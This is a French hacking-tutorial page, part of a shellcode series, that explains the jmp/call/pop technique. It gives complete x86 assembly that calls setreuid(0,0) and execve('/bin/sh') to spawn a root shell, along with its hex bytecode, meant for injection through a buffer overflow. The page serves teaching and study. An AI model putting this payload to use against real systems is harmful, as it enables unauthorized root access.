La fabrication de Shellcode


<< Ouvrir un shell Supprimer les Null Bytes >>


II°) Réaliser un véritable bytecode

Ne pas utiliser le segment data
   Nous avons réussi à écrire un programme qui fait apparaître un shell à l'écran, root s'il en a la possibilité, ce qui n'est déjà pas si mal. Maintenant, il faut régler le problème de l'utilisation des segments de mémoire dont on ne doit pas se servir pour le bon fonctionnement du shellcode.
En fait, il faut déclarer la string dans le code (ce que nous savons faire et que nous avons par exemple appliqué dans la partie sur le faux désassemblage). Le problème est de connaître l'adresse de cette chaîne de caractères. Puisque nous ne connaissons pas l'adresse à laquelle va se trouver le shellcode, il faut que l'on soit capable de situer notre variable par rapport à l'EIP (Extended Instruction Pointer). Pour ce, il nous suffit au final d'utiliser les appels jump et call.
L'appel jump change l'adresse de l'EIP vers une adresse de notre choix. Call fait la même chose, mais en plus, il ajoute l'adresse de retour sur la pile où doit retourner EIP une fois l'appel terminé : cela nous suffit donc pour remplir notre objectif. En effet, si nous déclarons la chaine à la fin du programme, que nous utilisons une instruction jmp pour arriver à l'adresse de la chaine puis une instruction call, le fond de la pile ne sera rien d'autre que l'adresse de la chaine, qu'il nous suffit de popper de la pile et de placer dans une variable. Nous avons donc simplement utilisé ce "tour de passe-passe" dans la pile dans le code suivant pour produire quelque chose qui ressemble réellement à un bytecode digne de ce nom.

Bytecode primaire de shellcode
   Voici donc le code de la partie précédente où nous avons appliqué le principe énoncé :
    ;shellcode.asm

       mov eax,70  ;on mets eax à 70 pour préparer l'appel à setreuid
       mov ebx,0  ;real uid 0 => root
       mov ecx,0  ;effective uid 0 => root
       int 0x80  ;Syscall 70

       jmp chaine  ;On va au label <chaine>

    retour:  ;On arrive ici après le call : le fond de la pile est l'adresse de retour du call, donc l'adresse de cheminshell
       pop ebx  ;On enlève cette adresse de la pile (avec pop) et on la place dans ebx

       mov eax,0  ;on mets 0 dans eax
       mov [ebx+7],al  ;on mets le 0 (de eax) 7 caractères après le début de la chaîne
                ;en fait, on réécrit le 0 de la chaine avec un nul byte
                ;al occupe 1 byte
       mov [ebx+8],ebx  ;on mets l'addresse de la chaine 8 caractères après son début
                ;En fait, on réécrit aaaa par l'adresse de cheminshell
       mov [ebx+12],eax  ;12 caractères après le début, on mets les 4 bytes de eax
                ;en fait, on réécrit bbbb par 0x00000000
       mov eax,11  ;on mets eax à 11 pour préparer l'appel à execve
       lea ecx,[ebx+8]  ;on charge l'adresse de (anciennement) aaaa dans ecx
       lea edx,[ebx+12]  ;on charge l'adresse de (anciennement) bbbb dans edx
       int 0x80  ;Syscall 11

    chaine:  ;label chaine où on arrive après le jump
       call retour  ;On retourne au label retour en mettant l'adresse de la prochaine instruction (cheminshell) dans la pile
       cheminshell db "/bin/sh0aaaabbbb"
Puisqu'il n'y a plus de segments, nous ne pouvons lancer le programme et démontrer l'utilisation de cette technique, il nous faudra attendre l'utilisation finale du shellcode pour le vérifier.

Examinons maintenant le bytecode obtenu à l'aide d'hexedit :
    $ nasm shellcode.asm
    $ hexedit shellcode
    00000000   66 B8 46 00  00 00 66 BB  00 00 00 00  66 B9 00 00  f.F...f.....f...
    00000010   00 00 CD 80  EB 28 66 5B  66 B8 00 00  00 00 67 88  .....(f[f.....g.
    00000020   43 07 66 67  89 5B 08 66  67 89 43 0C  66 B8 0B 00  C.fg.[.fg.C.f...
    00000030   00 00 66 67  8D 4B 08 66  67 8D 53 0C  CD 80 E8 D5  ..fg.K.fg.S.....
    00000040   FF 2F 62 69  6E 2F 73 68  30 61 61 61  61 62 62 62  ./bin/sh0aaaabbb
    00000050   62                                                                                b
On remarque les nombreux 00. Or, un 00 dans un shellcode injecté terminerait la chaîne et donc le dépassement de mémoire, c'est pourquoi nous devons dans une dernière étape supprimer tous les bytes nuls de ce bytecode.


<< Ouvrir un shell Supprimer les Null Bytes >>
Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.